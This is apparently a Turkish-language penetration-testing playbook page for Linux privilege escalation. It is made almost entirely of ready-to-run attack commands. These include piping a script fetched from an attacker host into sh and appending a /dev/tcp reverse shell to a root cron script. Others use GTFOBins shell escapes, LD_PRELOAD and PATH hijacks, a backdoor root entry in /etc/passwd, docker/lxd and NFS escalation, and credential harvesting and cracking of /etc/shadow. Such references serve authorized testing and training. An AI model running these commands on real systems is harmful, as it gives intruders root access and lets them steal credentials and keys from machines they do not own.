Back to Vault

Privilege Escalation Playbook

Yerel yetki yükseltme — Linux & Windows · standalone kutular

Değişkenler — Vault ile senkron, komutlara otomatik dolar

1 · Enumeration

otomatik + manuel

İlk shell’i aldın. Önce otomatik tara, sonra hızlı manuel kontroller.

linPEAS çalıştır

linpeas<LHOST>

Attacker’da: python3 -m http.server 80. Sonra hedefte indir & çalıştır.

curl http://<LHOST>/linpeas.sh | sh

Hızlı temel kontroller

manual

Kim, hangi haklar, çekirdek, dağıtım — 10 saniyelik ilk bakış.

id; sudo -l; uname -a; cat /etc/os-release; hostname

SUID binary’leri bul

find

setuid bitli dosyalar — GTFOBins ile root olabilir.

find / -perm -4000 -type f 2>/dev/null

Capabilities

getcap

cap_setuid/cap_dac gibi tehlikeli yetenekler.

getcap -r / 2>/dev/null

Cron & zamanlanmış işler

cron

Root’un çalıştırdığı yazılabilir script’leri ara.

cat /etc/crontab; ls -la /etc/cron*; crontab -l 2>/dev/null

pspy — canlı process/cron izle

pspy

Root cron/process’lerini root olmadan gözlemle (gizli işleri yakala).

./pspy64 -pf -i 1000

2 · Sudo / GTFOBins

sudo -l çıktısı

`sudo -l` bir binary’ye izin veriyorsa GTFOBins’te “sudo” bölümüne bak.

Sudo haklarını listele

sudo

NOPASSWD veya izinli binary’ler burada görünür.

sudo -l

GTFOBins escape (örnek: find)

gtfobins

İzinli binary’yi GTFOBins yöntemiyle kabuğa çevir.

sudo find . -exec /bin/sh \; -quit

LD_PRELOAD (env_keep)

ld_preload<BINARY>

sudo -l’de LD_PRELOAD korunuyorsa: kötü .so derle, yükle. (shell.c: _init() setuid(0)+system("/bin/bash"))

sudo LD_PRELOAD=/tmp/shell.so <BINARY>

Sudo sürüm CVE kontrolü

cve

Baron Samedit (CVE-2021-3156) < 1.9.5p2. Sürümü kontrol et.

sudo -V | head -1   # savunmasızsa exploit: sudoedit -s /

NOPASSWD: ALL

sudo

sudo -l “(ALL) ALL” gösteriyorsa doğrudan root.

sudo su -   # veya: sudo /bin/bash

sudo env / PATH (SETENV)

sudo<BINARY>

sudo bir script çağırıyor ve SETENV varsa PATH’i ele geçir.

sudo PATH=/tmp:$PATH <BINARY>

3 · SUID / SGID / Capabilities

root-owned binary’ler

SUID binary veya cap_setuid capability bulduysan sömür.

SUID GTFOBins (örnek)

gtfobins

SUID binary’yi -p ile ayrıcalığı koruyarak kabuğa çevir (GTFOBins “SUID”).

/usr/bin/find . -exec /bin/sh -p \; -quit

cap_setuid ile python

capabilities

getcap python’da cap_setuid gösteriyorsa doğrudan root.

/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

GTFOBins SUID hızlı referans

gtfobins

Yaygın SUID binary’lerin -p ile shell yöntemleri (gtfobins.github.io “SUID”).

less: !/bin/sh   |   awk: awk "BEGIN{system(\"/bin/sh -p\")}"   |   tar: tar -cf x x --checkpoint=1 --checkpoint-action=exec=/bin/sh   |   env: env /bin/sh -p

SUID shared library injection

suid-so<BINARY>

SUID binary yazılabilir/eksik bir .so yüklüyorsa (strace ile bak) kötü kütüphane koy.

strace <BINARY> 2>&1 | grep -iE "open|access|No such file" | grep "\.so"

Özel SUID uygulaması exploit

searchsploit<BINARY>

Standart olmayan bir SUID binary varsa bilinen exploit ara.

searchsploit <BINARY>

4 · Cron / PATH / Yazılabilir Dosyalar

writable vektörler

Root’un çalıştırdığı yazılabilir script, PATH hijack veya yazılabilir sistem dosyası.

Yazılabilir cron script’ine payload

cron<LHOST> <LPORT>

Root cron bir yazılabilir script çağırıyorsa reverse shell ekle.

echo 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' >> /path/to/writable_script.sh

PATH hijack (relative binary)

path<NAME>

Cron/SUID relative bir komut çağırıyorsa yazılabilir PATH dizinine sahte binary koy.

echo -e "#!/bin/bash\ncp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" > /tmp/<NAME>; chmod +x /tmp/<NAME>; export PATH=/tmp:$PATH

Yazılabilir /etc/passwd

passwd<HASH>

/etc/passwd yazılabiliyorsa parolalı root satırı ekle.

openssl passwd -1 -salt hax pass123   # sonra: echo 'r00t:<HASH>:0:0:root:/root:/bin/bash' >> /etc/passwd

Wildcard injection (tar/rsync cron)

wildcard

Root cron “tar *” gibi çalışıyorsa yazılabilir dizinde checkpoint dosyaları bırak.

echo "" > "--checkpoint=1"; echo "" > "--checkpoint-action=exec=sh runme.sh"; printf "chmod +s /bin/bash" > runme.sh

/etc/ld.so.preload yazılabilir

ld_preload

Yazılabiliyorsa kötü .so’yu global preload et → her root süreci onu yükler.

echo /tmp/shell.so > /etc/ld.so.preload

Yazılabilir systemd servisi/timer

systemd

Root çalıştıran .service/.timer üzerinde yazma hakkı varsa ExecStart’ı değiştir.

find /etc/systemd/ -writable 2>/dev/null; systemctl list-timers

5 · Kernel / Servis / Grup

exploit & yanlış yapılandırma

Enum/sudo/SUID sonuç vermezse çekirdek, NFS ve tehlikeli gruplara bak.

Kernel exploit ara

searchsploit

Çekirdek sürümüne göre bilinen LPE exploit.

uname -r; searchsploit linux kernel $(uname -r | cut -d- -f1)

PwnKit (pkexec CVE-2021-4034)

pwnkit

Neredeyse tüm sistemlerde çalışan pkexec LPE.

./PwnKit   # veya: searchsploit pkexec

NFS no_root_squash

nfs<TARGET_IP>

Attacker’da export’u mount et, SUID root binary planla.

showmount -e <TARGET_IP>   # attacker: mount -o rw <TARGET_IP>:/share /mnt; cp /bin/bash /mnt; chmod +s /mnt/bash

docker / lxd grubu

group

Kullanıcı docker/lxd grubundaysa doğrudan root.

docker run -v /:/mnt --rm -it alpine chroot /mnt sh   # id ile grupları kontrol et

DirtyPipe (CVE-2022-0847)

cve

Kernel 5.8–5.16.11: rastgele dosya üzerine yazma → root.

uname -r   # 5.8–5.16.11 ise: searchsploit dirtypipe

disk grubu → shadow oku

group

disk grubundaysan debugfs ile ham diskten /etc/shadow oku.

debugfs /dev/sda1 -R "cat /etc/shadow"

lxd grubu → privileged container

lxd

lxd grubundaysan host FS’i mount eden privileged container başlat.

lxc init alpine r00t -c security.privileged=true; lxc config device add r00t host disk source=/ path=/mnt/root; lxc start r00t; lxc exec r00t /bin/sh

6 · Credential Avı

parola & anahtar

Yanal hareket / root için düz metin cred, hash ve SSH anahtarı ara.

Dosyalarda parola

grep

Web kökü, config ve home’da düz metin parola.

grep -riE "password|passwd|secret|api[_-]?key" /var/www /etc /home /opt 2>/dev/null

History & config dosyaları

history

Komut geçmişi ve uygulama config’leri.

cat ~/.bash_history; find / -name "*.env" -o -name "wp-config.php" -o -name "config.php" 2>/dev/null

SSH özel anahtarları

ssh

Diğer kullanıcı/host için id_rsa.

find / -name "id_rsa" -o -name "authorized_keys" 2>/dev/null

shadow → john

shadow

/etc/shadow okunabiliyorsa unshadow + kır.

unshadow /etc/passwd /etc/shadow > crack.txt; john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt

DB history & config

db

MySQL/PSQL geçmişi ve .cnf dosyalarında parola.

cat ~/.mysql_history 2>/dev/null; find / -name "*.cnf" 2>/dev/null | xargs grep -iH pass 2>/dev/null

Diğer kullanıcı & parola tekrarı

cred<USERNAME>

Bulduğun parolayı su ile diğer kullanıcılarda dene (parola tekrarı yaygın).

cat /etc/passwd | grep -E "sh$"; su <USERNAME>   # bulunan parolayı dene

Loot & Credentials

Store passwords and hashes globally

No loot added yet.
Save cracked passwords here.